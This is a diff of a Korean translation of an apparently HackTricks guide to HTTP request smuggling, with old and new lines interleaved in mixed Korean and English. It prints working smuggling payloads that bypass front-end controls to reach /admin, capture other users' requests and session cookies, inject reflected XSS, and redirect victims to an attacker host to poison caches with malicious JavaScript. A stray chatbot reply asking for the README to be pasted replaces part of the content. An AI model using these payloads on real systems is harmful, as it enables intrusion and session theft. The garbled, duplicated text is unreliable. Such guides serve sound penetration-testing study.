- **Load Balancing Challenges:** 프론트엔드 서버가 로드 밸런서로 동작하면 요청을 여러 백엔드 시스템에 분산시킬 수 있습니다. "attack" 요청과 "normal" 요청이 서로 다른 시스템에 도착하면 공격은 성공하지 못합니다. 이 로드 밸런싱 특성 때문에 취약점을 확인하려면 여러 차례 시도가 필요할 수 있습니다.
|
||||
- **Unintended User Impact:** 공격이 의도치 않게 다른 사용자의 요청(당신이 탐지용으로 보낸 "normal" 요청이 아닌)에 영향을 미쳤다면, 이는 당신의 공격이 다른 애플리케이션 사용자를 영향했다는 것을 의미합니다. 지속적인 테스트는 다른 사용자를 방해할 수 있으므로 주의가 필요합니다.
|
||||
|
||||
## HTTP/1.1 pipelining 아티팩트와 진짜 request smuggling 구분하기
|
||||
## HTTP/1.1 pipelining 아티팩트와 genuine request smuggling 구분하기
|
||||
|
||||
연결 재사용(keep-alive)과 pipelining은 동일 소켓에서 여러 요청을 전송하는 테스트 도구에서 "smuggling"의 착시를 쉽게 유발할 수 있습니다. 무해한 클라이언트 측 아티팩트와 실제 서버 측 desync를 구분하는 법을 배우세요.
|
||||
Connection reuse (`keep-alive`)와 pipelining은 동일한 소켓에서 여러 요청을 전송하는 테스트 도구에서 쉽게 "smuggling"의 환상을 만들 수 있습니다. 무해한 클라이언트 측 아티팩트와 실제 서버 측 desync를 구분하는 법을 익히세요.
|
||||
|
||||
### 왜 pipelining이 고전적 오탐을 발생시키는가
|
||||
### 왜 pipelining이 고전적인 false positive를 만드는가
|
||||
|
||||
HTTP/1.1은 단일 TCP/TLS 연결을 재사용하고 동일한 스트림에서 요청과 응답을 연결합니다. pipelining에서는 클라이언트가 여러 요청을 연달아 전송하고 순서대로 응답을 받기를 기대합니다. 흔한 오탐 사례는 단일 연결에서 잘못된 CL.0-스타일 페이로드를 두 번 재전송하는 것입니다:
|
||||
HTTP/1.1은 단일 TCP/TLS 연결을 재사용하고 동일한 스트림에서 요청과 응답을 연결합니다. pipelining에서는 클라이언트가 여러 요청을 연속으로 전송하고 순서대로 응답을 받기를 기대합니다. 일반적인 false-positive 사례는 단일 연결에서 잘못된 CL.0-style 페이로드를 두 번 재전송하는 것입니다:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: hackxor.net
|
||||
@ -343,7 +343,7 @@ Content_Length: 47
|
||||
GET /robots.txt HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
해당 README.md 파일 내용을 여기에 붙여넣어 주세요. 내용을 받으면 한국어로 번역해 드리겠습니다.
|
||||
원본 파일(src/pentesting-web/http-request-smuggling/README.md)의 내용을 여기에 붙여넣어 주세요. 붙여넣어 주시면 요청하신 규칙(코드·기술명·태그·링크·경로 미번역 등)을 지켜 정확하게 한국어로 번역해 드리겠습니다.
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
@ -357,7 +357,7 @@ Content-Type: text/plain
|
||||
User-agent: *
|
||||
Disallow: /settings
|
||||
```
|
||||
서버가 잘못된 `Content_Length`를 무시했다면 FE↔BE desync는 발생하지 않습니다. 재사용 시, 클라이언트는 실제로 다음 바이트 스트림을 전송했으며, 서버는 이를 두 개의 독립된 요청으로 파싱했습니다:
|
||||
만약 server가 잘못된 `Content_Length`를 무시했다면, FE↔BE desync는 발생하지 않는다. reuse 시, 당신의 client는 실제로 다음과 같은 byte-stream을 보냈고, server는 이를 두 개의 독립된 requests로 파싱했다:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: hackxor.net
|
||||
@ -371,53 +371,52 @@ Content_Length: 47
|
||||
GET /robots.txt HTTP/1.1
|
||||
X: Y
|
||||
```
|
||||
Impact: 없음. 클라이언트의 프레이밍이 서버와 어긋났습니다.
|
||||
Impact: none. You just desynced your client from the server framing.
|
||||
|
||||
> [!TIP]
|
||||
> Burp 모듈(재사용/파이프라이닝에 의존하는): Turbo Intruder (`requestsPerConnection>1` 설정), Intruder의 "HTTP/1 connection reuse", Repeater의 "Send group in sequence (single connection)" 또는 "Enable connection reuse".
|
||||
> Burp modules that depend on reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
|
||||
|
||||
### Litmus tests: pipelining or real desync?
|
||||
|
||||
1. Disable reuse and re-test
|
||||
- Burp Intruder/Repeater에서 HTTP/1 reuse를 끄고 "Send group in sequence"를 피합니다.
|
||||
- Turbo Intruder에서는 `requestsPerConnection=1` 및 `pipeline=False`로 설정합니다.
|
||||
- 동작이 사라지면, connection-locked/stateful 대상이거나 클라이언트 측 desync가 아닌 이상 클라이언트 측 pipelining일 가능성이 큽니다.
|
||||
- In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid "Send group in sequence".
|
||||
- In Turbo Intruder, set `requestsPerConnection=1` and `pipeline=False`.
|
||||
- If the behavior disappears, it was likely client-side pipelining, unless you’re dealing with connection-locked/stateful targets or client-side desync.
|
||||
2. HTTP/2 nested-response check
|
||||
- HTTP/2 요청을 전송합니다. 응답 본문에 완전한 중첩된 HTTP/1 응답이 들어있다면, 순수한 클라이언트 인공물이 아니라 백엔드 파싱/desync 버그를 증명한 것입니다.
|
||||
- Send an HTTP/2 request. If the response body contains a complete nested HTTP/1 response, you’ve proven a backend parsing/desync bug instead of a pure client artifact.
|
||||
3. Partial-requests probe for connection-locked front-ends
|
||||
- 일부 FE는 클라이언트가 자신의 연결을 재사용했을 때만 업스트림 BE 연결을 재사용합니다. partial-requests를 사용해 클라이언트 재사용을 그대로 반영하는 FE 동작을 탐지하세요.
|
||||
- connection-locked 기법은 PortSwigger의 "Browser‑Powered Desync Attacks"를 참조하세요.
|
||||
- Some FEs only reuse the upstream BE connection if the client reused theirs. Use partial-requests to detect FE behavior that mirrors client reuse.
|
||||
- See PortSwigger "Browser‑Powered Desync Attacks" for the connection-locked technique.
|
||||
4. State probes
|
||||
- 동일한 TCP 연결에서 첫 번째 요청과 이후 요청의 차이를 찾아보세요(first-request routing/validation).
|
||||
- Burp "HTTP Request Smuggler"는 이를 자동화하는 connection‑state probe를 포함합니다.
|
||||
- Look for first- vs subsequent-request differences on the same TCP connection (first-request routing/validation).
|
||||
- Burp "HTTP Request Smuggler" includes a connection‑state probe that automates this.
|
||||
5. Visualize the wire
|
||||
- 실험 중에 재사용 및 partial requests를 조정하면서 연결 및 메시지 프레이밍을 직접 검사하려면 Burp "HTTP Hacker" 확장을 사용하세요.
|
||||
- Use the Burp "HTTP Hacker" extension to inspect concatenation and message framing directly while experimenting with reuse and partial requests.
|
||||
|
||||
### Connection‑locked request smuggling (reuse-required)
|
||||
|
||||
일부 front-end는 클라이언트가 자신의 연결을 재사용할 때만 업스트림 연결을 재사용합니다. 실제 smuggling은 존재하지만 클라이언트 측 재사용에 의존합니다. 구분 및 영향 증명을 위해:
|
||||
- 서버 측 버그를 입증하세요
|
||||
- HTTP/2 nested-response check를 사용하거나,
|
||||
- partial-requests로 FE가 클라이언트가 재사용할 때만 업스트림을 재사용함을 보여주세요.
|
||||
- 직접적인 교차 사용자 소켓 악용이 차단되더라도 실제 영향을 보여주세요:
|
||||
- Cache poisoning: desync를 통해 공유 캐시를 오염시켜 다른 사용자에게 영향을 미치는 응답을 만들어냅니다.
|
||||
- Internal header disclosure: FE가 삽입한 헤더(예: auth/trust 헤더)를 반영하여 권한 우회로 피벗합니다.
|
||||
- Bypass FE controls: front-end를 우회하여 제한된 경로/메서드를 통과시킵니다.
|
||||
- Host-header abuse: 호스트 라우팅 특이점과 결합해 내부 vhost로 피벗합니다.
|
||||
Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:
|
||||
- Prove the server-side bug
|
||||
- Use the HTTP/2 nested-response check, or
|
||||
- Use partial-requests to show the FE only reuses upstream when the client does.
|
||||
- Show real impact even if direct cross-user socket abuse is blocked:
|
||||
- Cache poisoning: poison shared caches via the desync so responses affect other users.
|
||||
- Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
|
||||
- Bypass FE controls: smuggle restricted paths/methods past the front-end.
|
||||
- Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
|
||||
- Operator workflow
|
||||
- 제어된 재사용으로 재현하세요(Turbo Intruder `requestsPerConnection=2`, 또는 Burp Repeater 탭 그룹 → "Send group in sequence (single connection)").
|
||||
- 그런 다음 캐시/헤더-leak/control-bypass 프리미티브로 연결해 교차 사용자 또는 권한 영향으로 증명하세요.
|
||||
- Reproduce with controlled reuse (Turbo Intruder `requestsPerConnection=2`, or Burp Repeater tab group → "Send group in sequence (single connection)").
|
||||
- Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.
|
||||
|
||||
> See also connection‑state attacks, which are closely related but not technically smuggling:
|
||||
>
|
||||
>{{#ref}}
|
||||
>../http-connection-request-smuggling.md
|
||||
>
|
||||
{{#endref}}
|
||||
>{{#endref}}
|
||||
|
||||
### Client‑side desync constraints
|
||||
|
||||
브라우저 구동/클라이언트 측 desync를 노리는 경우, 악성 요청은 브라우저가 cross-origin으로 보낼 수 있어야 합니다. Header obfuscation 기법은 작동하지 않습니다. navigation/fetch로 도달 가능한 프리미티브에 집중한 뒤, 다운스트림 컴포넌트가 응답을 반영하거나 캐시하면 cache poisoning, header disclosure, 또는 front-end 제어 우회로 피벗하세요.
|
||||
If you’re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.
|
||||
|
||||
For background and end-to-end workflows:
|
||||
|
||||
@ -427,21 +426,21 @@ browser-http-request-smuggling.md
|
||||
|
||||
### Tooling to help decide
|
||||
|
||||
- HTTP Hacker (Burp BApp Store): 저레벨 HTTP 동작과 소켓 연결(concatenation)을 노출합니다.
|
||||
- HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
|
||||
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
|
||||
- Turbo Intruder: `requestsPerConnection`을 통해 연결 재사용을 정밀 제어합니다.
|
||||
- Burp HTTP Request Smuggler: first‑request 라우팅/검증을 찾는 connection‑state probe를 포함합니다.
|
||||
- Turbo Intruder: precise control over connection reuse via `requestsPerConnection`.
|
||||
- Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.
|
||||
|
||||
> [!NOTE]
|
||||
> 재사용 전용 효과는 서버 측 desync와 구체적인 영향(오염된 캐시 아티팩트, 내부 헤더 누출로 인한 권한 우회, 우회된 FE 제어 등)을 증명하지 못하면 심각한 문제로 간주하지 마세요.
|
||||
> Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
|
||||
|
||||
## Abusing HTTP Request Smuggling
|
||||
|
||||
### Circumventing Front-End Security via HTTP Request Smuggling
|
||||
|
||||
때때로 front-end 프록시는 보안 조치를 적용하여 들어오는 요청을 검사합니다. 그러나 HTTP Request Smuggling을 악용하면 이러한 조치를 우회해 제한된 엔드포인트에 무단으로 접근할 수 있습니다. 예를 들어 `/admin`에 대한 외부 접근이 금지되어 front-end 프록시가 차단하더라도, 이 프록시는 smuggled HTTP 요청 내부의 임베디드 요청을 검사하지 않아 제한을 우회할 수 있습니다.
|
||||
Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing `/admin` might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.
|
||||
|
||||
다음 예시들은 주로 front-end 프록시가 보호하는 `/admin` 경로를 목표로 하여 HTTP Request Smuggling이 front-end 보안 제어를 어떻게 우회할 수 있는지 보여줍니다:
|
||||
Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the `/admin` path which is typically guarded by the front-end proxy:
|
||||
|
||||
**CL.TE Example**
|
||||
```
|
||||
@ -460,9 +459,9 @@ Content-Length: 10
|
||||
|
||||
x=
|
||||
```
|
||||
CL.TE 공격에서는 초기 요청에 `Content-Length` 헤더가 활용되고, 이후의 임베디드 요청은 `Transfer-Encoding: chunked` 헤더를 사용합니다. 프론트엔드 프록시는 초기 `POST` 요청을 처리하지만 임베디드된 `GET /admin` 요청을 검사하지 않아 `/admin` 경로에 대한 무단 접근을 허용합니다.
|
||||
CL.TE attack에서는 초기 요청에 `Content-Length` 헤더가 사용되고, 이후 포함된 요청은 `Transfer-Encoding: chunked` 헤더를 사용합니다. front-end proxy는 초기 `POST` 요청을 처리하지만 포함된 `GET /admin` 요청을 검사하지 못해 `/admin` 경로에 대한 무단 접근을 허용합니다.
|
||||
|
||||
**TE.CL 예시**
|
||||
**TE.CL Example**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: [redacted].web-security-academy.net
|
||||
@ -478,13 +477,13 @@ a=x
|
||||
0
|
||||
|
||||
```
|
||||
반대로, TE.CL 공격에서는 초기 `POST` 요청이 `Transfer-Encoding: chunked`를 사용하며, 그에 이어 포함된 요청은 `Content-Length` 헤더를 기준으로 처리됩니다. CL.TE 공격과 마찬가지로 front-end proxy는 smuggled `GET /admin` 요청을 간과하여 의도치 않게 제한된 `/admin` 경로에 대한 접근을 허용합니다.
|
||||
반대로, TE.CL 공격에서는 초기 `POST` 요청이 `Transfer-Encoding: chunked`를 사용하고, 그에 이어 포함된 요청은 `Content-Length` 헤더를 기준으로 처리된다. CL.TE 공격과 유사하게, 프런트엔드 프록시(front-end proxy)는 몰래 전송된 `GET /admin` 요청을 간과하여 제한된 `/admin` 경로에 의도치 않게 접근을 허용한다.
|
||||
|
||||
### 프론트엔드 요청 재작성 확인 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
### 프런트엔드의 요청 재작성 확인 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
애플리케이션은 종종 백엔드 서버로 요청을 전달하기 전에 수신 요청을 수정하기 위해 **front-end server**를 사용합니다. 일반적인 수정 예로는 클라이언트의 IP를 백엔드에 전달하기 위해 `X-Forwarded-For: <IP of the client>` 같은 헤더를 추가하는 것이 있습니다. 이러한 수정 동작을 파악하는 것은 중요할 수 있으며, 이는 **보호 우회**나 **숨겨진 정보나 엔드포인트를 발견**하는 방법을 드러낼 수 있습니다.
|
||||
애플리케이션은 종종 백엔드 서버로 전달하기 전에 들어오는 요청을 수정하기 위해 **front-end server**를 사용한다. 일반적인 수정 예로는 클라이언트의 IP를 백엔드로 전달하기 위해 `X-Forwarded-For: <IP of the client>` 같은 헤더를 추가하는 것이 있다. 이러한 수정 방식을 이해하는 것은 중요할 수 있으며, 이는 보호 장치를 **우회(bypass protections)** 하거나 숨겨진 정보나 엔드포인트를 **발견(uncover concealed information or endpoints)** 하는 방법을 드러낼 수 있다.
|
||||
|
||||
proxy가 요청을 어떻게 변경하는지 조사하려면, 백엔드가 응답에서 에코하는 POST 파라미터를 찾으세요. 그런 다음 이 파라미터를 마지막에 사용하여 다음과 유사한 요청을 작성합니다:
|
||||
프록시가 요청을 어떻게 변경하는지 조사하려면, 백엔드가 응답에서 에코하는 POST 파라미터를 찾으라. 그런 다음 이 파라미터를 마지막에 두고 다음과 유사한 요청을 만들어라:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
@ -501,19 +500,19 @@ Content-Length: 100
|
||||
|
||||
search=
|
||||
```
|
||||
이 구조에서는 후속 요청 구성 요소가 `search=` 다음에 이어붙여지며, 이 파라미터는 응답에 반영됩니다. 이 반영은 후속 요청의 헤더를 노출합니다.
|
||||
이 구조에서는 후속 요청 구성 요소가 `search=` 뒤에 이어 붙여지며, 이 파라미터가 응답에 반영됩니다. 이 반영으로 인해 후속 요청의 헤더가 노출됩니다.
|
||||
|
||||
`Content-Length` 헤더를 중첩된 요청의 실제 콘텐츠 길이와 맞추는 것이 중요합니다. 너무 낮으면 반영된 데이터가 잘리고, 너무 높으면 요청이 오류를 일으킬 수 있으므로 작은 값으로 시작해 점차 증가시키는 것이 좋습니다.
|
||||
중첩된 요청의 `Content-Length` 헤더를 실제 콘텐츠 길이에 맞추는 것이 중요합니다. 작은 값에서 시작해 조금씩 증가시키는 것이 바람직합니다. 값이 너무 작으면 반영된 데이터가 잘리게 되고, 너무 크면 요청이 에러를 발생시킬 수 있습니다.
|
||||
|
||||
이 기법은 TE.CL 취약점 환경에서도 적용할 수 있지만, 요청은 `search=\r\n0`으로 종료되어야 합니다. 개행 문자와 상관없이 값들은 search 파라미터에 덧붙여집니다.
|
||||
이 기법은 TE.CL 취약점 상황에서도 적용할 수 있지만, 요청은 `search=\r\n0`으로 종료되어야 합니다. 개행 문자와 관계없이 값들은 search 파라미터에 추가됩니다.
|
||||
|
||||
이 방법은 주로 프론트엔드 프록시가 수행하는 요청 변경 사항을 이해하기 위한 것으로, 일종의 자체 조사 역할을 합니다.
|
||||
이 방법은 주로 front-end proxy가 요청을 어떻게 수정하는지 이해하는 데 사용되며, 사실상 자체적인 조사(self-directed investigation)를 수행하는 것입니다.
|
||||
|
||||
### 다른 사용자의 요청 캡처 <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
### 다른 사용자의 요청 캡처하기 <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
POST 동작 중에 특정 요청을 파라미터의 값으로 덧붙이면 다음 사용자의 요청을 캡처할 수 있습니다. 방법은 다음과 같습니다:
|
||||
POST 동작 중 파라미터의 값으로 특정 요청을 추가하면 다음 사용자의 요청을 캡처하는 것이 가능합니다. 방법은 다음과 같습니다:
|
||||
|
||||
다음 요청을 파라미터의 값으로 덧붙이면 이후 클라이언트의 요청을 저장할 수 있습니다:
|
||||
다음 요청을 파라미터 값으로 추가하면 이후 클라이언트의 요청을 저장할 수 있습니다:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
|
||||
@ -533,20 +532,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
|
||||
|
||||
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
|
||||
```
|
||||
이 시나리오에서 **comment parameter**는 공개적으로 접근 가능한 페이지의 게시물 댓글 섹션에 내용을 저장하도록 의도되어 있다. 따라서 이후 요청의 내용은 댓글로 표시된다.
|
||||
이 시나리오에서 **comment parameter**는 공개적으로 접근 가능한 페이지의 게시물 댓글 섹션 내 내용을 저장하도록 설계되어 있습니다. 따라서 이후 요청의 내용은 댓글로 표시됩니다.
|
||||
|
||||
그러나 이 기법에는 한계가 있다. 일반적으로 스머글된 요청에서 사용된 파라미터 구분자까지의 데이터만 캡처된다. URL-encoded form 제출의 경우 이 구분자는 `&` 문자다. 즉, 피해자 사용자의 요청에서 캡처되는 내용은 첫 번째 `&`에서 중단되며, 이는 쿼리 문자열의 일부일 수도 있다.
|
||||
하지만 이 기법에는 한계가 있습니다. 일반적으로 스머글된 요청에서 사용되는 파라미터 구분자까지의 데이터만 캡처합니다. URL-encoded form 제출의 경우 이 구분자는 `&` 문자입니다. 즉, 피해자 사용자의 요청에서 캡처된 내용은 첫 번째 `&`에서 멈추며, 그 `&`가 쿼리 문자열의 일부일 수도 있습니다.
|
||||
|
||||
또한 이 방법은 TE.CL 취약점에서도 적용 가능하다는 점에 유의해야 한다. 이런 경우 요청은 `search=\r\n0`로 끝나야 한다. 개행 문자와 상관없이 값들은 search 파라미터에 추가된다.
|
||||
추가로, 이 방법은 TE.CL 취약점이 있는 경우에도 유효하다는 점을 주목할 필요가 있습니다. 그런 경우 요청은 `search=\r\n0`으로 종료되어야 합니다. 줄바꿈 문자와 상관없이 값들은 search 파라미터에 추가됩니다.
|
||||
|
||||
### HTTP request smuggling을 사용하여 Reflected XSS 악용하기
|
||||
### HTTP request smuggling을 사용해 Reflected XSS 악용하기
|
||||
|
||||
HTTP Request Smuggling은 **Reflected XSS**에 취약한 웹페이지를 악용하는 데 활용될 수 있으며, 다음과 같은 중요한 이점을 제공한다:
|
||||
HTTP Request Smuggling은 **Reflected XSS**에 취약한 웹 페이지를 악용하는 데 활용될 수 있으며, 다음과 같은 큰 장점을 제공합니다:
|
||||
|
||||
- 타겟 사용자와의 상호작용이 **필요하지 않음**.
|
||||
- 요청의 통상적으로 접근할 수 없는 부분(예: HTTP request headers)에 있는 XSS도 악용할 수 있음.
|
||||
- 타깃 사용자와의 상호작용이 **필요하지 않습니다**.
|
||||
- HTTP request headers와 같이 **일반적으로 도달할 수 없는** 요청의 일부에서 XSS를 악용할 수 있습니다.
|
||||
|
||||
웹사이트가 User-Agent header를 통해 **Reflected XSS**에 취약한 경우, 다음 payload는 이 취약점을 악용하는 방법을 보여준다:
|
||||
웹사이트가 User-Agent 헤더를 통해 Reflected XSS에 취약한 시나리오에서는, 다음 payload가 이 취약점 악용 방법을 보여줍니다:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
||||
@ -567,26 +566,26 @@ Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
A=
|
||||
```
|
||||
This payload는 다음과 같이 취약점을 악용하도록 구성되어 있습니다:
|
||||
이 payload는 취약점을 다음과 같은 방식으로 악용하도록 구성되어 있습니다:
|
||||
|
||||
1. Initiating a `POST` request, seemingly typical, with a `Transfer-Encoding: chunked` header to indicate the start of smuggling.
|
||||
2. Following with a `0`, marking the end of the chunked message body.
|
||||
3. Then, a smuggled `GET` request is introduced, where the `User-Agent` header is injected with a script, `<script>alert(1)</script>`, triggering the XSS when the server processes this subsequent request.
|
||||
1. 일반적인 것처럼 보이는 `POST` 요청을 시작하고, `Transfer-Encoding: chunked` 헤더로 smuggling의 시작을 표시합니다.
|
||||
2. 이어서 `0`을 전송하여 chunked 메시지 바디의 끝을 표시합니다.
|
||||
3. 그 다음 smuggled된 `GET` 요청이 삽입되며, 여기서 `User-Agent` 헤더에 `<script>alert(1)</script>` 스크립트가 주입되어 서버가 해당 후속 요청을 처리할 때 XSS를 유발합니다.
|
||||
|
||||
By manipulating the `User-Agent` through smuggling, the payload는 정상적인 요청 제약을 우회하여 비표준적이지만 효과적인 방식으로 Reflected XSS 취약점을 악용합니다.
|
||||
`User-Agent`를 smuggling으로 조작함으로써, payload는 일반적인 요청 제약을 bypass하여 비표준적이지만 효과적인 방식으로 Reflected XSS 취약점을 악용합니다.
|
||||
|
||||
#### HTTP/0.9
|
||||
|
||||
> [!CAUTION]
|
||||
> In case the user content is reflected in a response with a **`Content-type`** such as **`text/plain`**, preventing the execution of the XSS. If the server support **HTTP/0.9 it might be possible to bypass this**!
|
||||
> 사용자 입력이 **`Content-type`**이 **`text/plain`** 같은 응답에 반영되어 XSS 실행이 차단되는 경우가 있습니다. 서버가 **HTTP/0.9**를 지원한다면 이것을 bypass할 수 있습니다!
|
||||
|
||||
HTTP/0.9 버전은 이전에 HTTP/1.0보다 먼저 존재했으며 **GET** 동사만 사용하고 **headers** 없이 본문만 응답합니다.
|
||||
HTTP/0.9 버전은 1.0 이전 버전으로, **GET**만 사용하며 응답 시 **headers**를 포함하지 않고 바디만 전송합니다.
|
||||
|
||||
In [**this writeup**](https://mizu.re/post/twisty-python), 이 기법은 request smuggling과 **사용자 입력을 응답으로 그대로 반환하는 취약한 endpoint**를 이용해 HTTP/0.9 요청을 smuggle하는 데 악용되었습니다. 응답에 반영될 파라미터는 **fake HTTP/1.1 response (with headers and body)**를 포함하고 있어, 응답이 `Content-Type`이 `text/html`인 유효한 실행 가능한 JS 코드를 포함하게 됩니다.
|
||||
In [**this writeup**](https://mizu.re/post/twisty-python), 이것은 request smuggling과 사용자 입력을 그대로 응답하는 **vulnerable endpoint**를 악용해 HTTP/0.9 요청을 smuggle하는 데 사용되었습니다. 응답에 반영될 파라미터는 **가짜 HTTP/1.1 응답(헤더와 바디 포함)**을 담고 있어서, 응답은 `Content-Type`이 `text/html`인 유효한 실행 가능한 JS 코드를 포함하게 됩니다.
|
||||
|
||||
### HTTP Request Smuggling을 이용한 같은 사이트 내 리디렉션 악용 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
### On-site Redirects를 HTTP Request Smuggling으로 악용하기 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
애플리케이션은 종종 redirect URL에 `Host` 헤더의 호스트명을 사용하여 한 URL에서 다른 URL로 리디렉트합니다. 이는 Apache나 IIS 같은 웹 서버에서 흔한 동작입니다. 예를 들어, 폴더 요청 시 trailing slash가 없으면 slash를 포함하도록 리디렉트됩니다:
|
||||
애플리케이션은 종종 리다이렉트 URL에 `Host` 헤더의 호스트명을 사용해 한 URL에서 다른 URL로 리다이렉트합니다. 이는 Apache나 IIS 같은 웹서버에서 흔합니다. 예를 들어, 폴더 요청 시 끝에 슬래시가 없으면 슬래시를 포함하도록 리다이렉트됩니다:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: normal-website.com
|
||||
@ -596,7 +595,7 @@ Host: normal-website.com
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://normal-website.com/home/
|
||||
```
|
||||
겉보기에는 무해해 보일 수 있지만, 이 동작은 HTTP request smuggling을 사용해 사용자를 외부 사이트로 리디렉션하도록 조작될 수 있습니다. 예를 들어:
|
||||
겉보기에는 무해해 보이지만, 이 동작은 HTTP request smuggling을 사용해 사용자를 외부 사이트로 리디렉션하도록 조작될 수 있습니다. 예를 들어:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
@ -610,7 +609,7 @@ GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
Foo: X
|
||||
```
|
||||
This smuggled request는 다음에 처리되는 사용자 요청이 공격자가 제어하는 웹사이트로 리디렉션되게 할 수 있습니다:
|
||||
이 smuggled request는 다음에 처리되는 사용자 요청을 attacker-controlled website로 리디렉션시킬 수 있습니다:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
@ -622,17 +621,17 @@ Host: vulnerable-website.com
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://attacker-website.com/home/
|
||||
```
|
||||
In this 시나리오에서는 사용자가 요청한 JavaScript 파일이 가로채집니다. 공격자는 악성 JavaScript를 응답으로 제공하여 사용자를 잠재적으로 손상시킬 수 있습니다.
|
||||
이 시나리오에서는 사용자의 JavaScript 파일 요청이 가로채집니다. 공격자는 응답으로 악성 JavaScript를 제공해 사용자를 침해할 수 있습니다.
|
||||
|
||||
### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Web cache poisoning은 보통 성능 향상을 위해 **front-end infrastructure가 콘텐츠를 캐시**하는 경우 실행될 수 있습니다. 서버의 응답을 조작하면 **캐시를 오염(poison)** 시킬 수 있습니다.
|
||||
Web cache poisoning은 성능 향상을 위해 **front-end infrastructure가 콘텐츠를 캐시하는 경우** 실행될 수 있습니다. 서버의 응답을 조작함으로써 **poison the cache**하는 것이 가능합니다.
|
||||
|
||||
앞서 우리는 서버 응답을 조작해 404 에러를 반환하도록 만드는 방법을 살펴보았습니다(참조 [Basic Examples](#basic-examples)). 이와 유사하게, 서버를 속여 `/static/include.js` 요청에 대해 `/index.html` 콘텐츠를 반환하게 만들 수 있습니다. 결과적으로 `/static/include.js`의 내용이 `/index.html`의 내용으로 캐시에 덮어써져 사용자가 `/static/include.js`에 접근하지 못하게 되어 Denial of Service (DoS)가 발생할 수 있습니다.
|
||||
앞서 서버 응답을 조작해 404 오류를 반환하도록 만드는 방법을 살펴보았습니다(참조: [Basic Examples](#basic-examples)). 유사하게, 서버를 속여 `/static/include.js` 요청에 대해 `/index.html` 내용을 반환하게 만들 수 있습니다. 결과적으로 `/static/include.js`의 내용이 캐시에서 `/index.html`의 내용으로 대체되어 `/static/include.js`에 접근하는 사용자가 영향을 받아 잠재적으로 Denial of Service (DoS)가 발생할 수 있습니다.
|
||||
|
||||
이 기법은 특히 **Open Redirect** 취약점이 발견되거나 사이트 내 리디렉트가 open redirect로 이어지는 경우에 매우 강력해집니다. 이러한 취약점을 악용하면 `/static/include.js`의 캐시된 콘텐츠를 공격자가 제어하는 스크립트로 교체할 수 있으며, 이는 업데이트된 `/static/include.js`를 요청하는 모든 클라이언트에 대해 대규모 Cross-Site Scripting (XSS) 공격을 가능하게 합니다.
|
||||
이 기법은 **Open Redirect vulnerability**가 발견되었거나 **on-site redirect to an open redirect**가 존재하는 경우 특히 강력해집니다. 이러한 취약점을 이용하면 캐시된 `/static/include.js` 내용을 공격자가 제어하는 스크립트로 교체할 수 있으며, 이는 `/static/include.js`를 요청하는 모든 클라이언트에 대해 광범위한 Cross-Site Scripting (XSS) 공격을 가능하게 합니다.
|
||||
|
||||
아래는 **cache poisoning combined with an on-site redirect to open redirect**를 악용하는 예시입니다. 목표는 `/static/include.js`의 캐시 콘텐츠를 공격자가 제어하는 JavaScript 코드로 변경하는 것입니다:
|
||||
